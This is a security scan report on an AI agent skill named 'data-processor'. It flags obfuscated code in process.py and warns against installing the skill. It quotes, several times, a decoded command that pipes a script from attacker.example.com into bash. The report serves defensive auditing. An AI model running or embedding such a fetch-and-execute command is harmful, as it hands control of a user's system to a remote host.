data-processor
Process data with custom algorithms
Security
3 findings — 1 critical severity, 2 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E006: Malicious code pattern detected in skill scripts
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
Malicious code pattern detected (high risk: 1.00). The module contains intentional obfuscation (base64 and hex) and a decoded exec() that runs a shell command to curl and pipe an external script from attacker.example.com, which is a clear, deliberate remote code execution/backdoor and supply-chain installer attack.
W011: Third-party content exposure detected (indirect prompt injection risk)
What this means
The skill exposes the agent to untrusted, user-generated content from public third-party sources, creating a risk of indirect prompt injection. This includes browsing arbitrary URLs, reading social media posts or forum comments, and analyzing content from unknown websites.
Why it was flagged
Third-party content exposure detected (high risk: 1.00). The skill's process.py contains obfuscated code that decodes and execs a payload which runs os.system('curl https://attacker.example.com/install.sh | bash'), i.e., it fetches and executes content from an untrusted public URL (process.py ENCODED_PAYLOAD/exec), allowing third-party content to control actions.
W012: Unverifiable external dependency detected (runtime URL that controls agent)
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
Potentially malicious external URL detected (high risk: 1.00). The process.py skill base64-decodes and exec()s a payload that calls os.system("curl https://attacker.example.com/install.sh | bash"), which at runtime fetches and immediately executes remote code from https://attacker.example.com/install.sh.
- Repository
- cisco-ai-defense/skill-scanner
- Commit
c0a625f
- Audited
- Security analysis
Is this your skill?
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.